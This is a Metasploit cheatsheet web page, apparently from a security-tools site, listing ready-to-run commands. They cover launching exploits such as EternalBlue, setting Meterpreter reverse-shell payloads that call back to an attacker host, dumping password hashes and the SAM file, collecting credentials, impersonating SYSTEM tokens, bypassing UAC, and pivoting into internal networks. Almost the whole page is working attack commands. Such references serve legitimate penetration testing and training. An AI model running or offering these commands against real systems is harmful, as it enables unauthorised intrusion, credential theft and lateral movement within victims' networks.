Metasploit Framework Cheatsheet

Complete Metasploit reference for msfconsole, Meterpreter, session management, privilege escalation, and post-exploitation. (40 payloads)

msfconsole Basics

(12)

msfconsole -q

Start without banner

search type:exploit platform:windows name:smb

Search for exploits (type, platform, name filters)

use exploit/windows/smb/ms17_010_eternalblue

Select an exploit module

info

Show module info, description, and required options

show options

Show configurable module options

set RHOSTS 10.10.10.10

Set remote host

set LHOST 10.10.14.2

Set local (attacker) host

set LPORT 4444

Set local listening port

setg LHOST 10.10.14.2

Set global option (persists across modules)

run
exploit

Execute the module

check

Check if target is vulnerable (non-intrusive)

back

Deselect current module

Payloads

(5)

show payloads

List compatible payloads for current module

set payload windows/x64/meterpreter/reverse_tcp

Set staged Windows x64 Meterpreter reverse shell

set payload linux/x86/meterpreter/reverse_tcp

Set staged Linux x86 Meterpreter reverse shell

set payload windows/meterpreter/reverse_https

HTTPS Meterpreter (encrypted, bypasses some IDS)

use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
run -j

Start listener for incoming shells (run as job with -j)

Meterpreter Commands

(11)

sysinfo

System information: hostname, OS, architecture

getuid
getpid

Current user and process ID

ps

List running processes

migrate <pid>

Migrate into another process (for stability)

shell

Drop to a system shell

upload /local/file.exe C:\\Windows\\Temp\\file.exe

Upload file to target

download C:\\Windows\\System32\\SAM /tmp/

Download file from target

hashdump

Dump local SAM hashes (requires SYSTEM)

run post/windows/gather/credentials/credential_collector

Collect all credential types

portfwd add -l 3389 -p 3389 -r 192.168.1.100

Port forward RDP through Meterpreter tunnel

background
Ctrl+Z

Background session and return to msfconsole

Privilege Escalation

(4)

getsystem

Attempt automatic privilege escalation to SYSTEM

use post/multi/recon/local_exploit_suggester
run

Suggest local privilege escalation exploits

load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"

Incognito token impersonation

use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
run

UAC bypass via Event Viewer

Session Management

(5)

sessions -l

List active sessions

sessions -i 1

Interact with session 1

sessions -k 1

Kill session 1

sessions -u 1

Upgrade shell to Meterpreter

jobs -l
jobs -k 1

List/kill background jobs

Pivoting & Routing

(3)

route add 192.168.1.0/24 1

Route subnet through session 1 (internal network access)

use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j

Start SOCKS5 proxy via MSF routing

use post/multi/manage/autoroute
set SESSION 1
run

Autoroute — automatically add routes for pivoting

ShareX LinkedIn Reddit

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Generators

Reverse Shell Command Injection

Related Cheat Sheets

Linux Privilege Escalation Cheat Sheet Post-Exploitation Cheat Sheet Active Directory & Kerberos Cheat Sheet

$loading...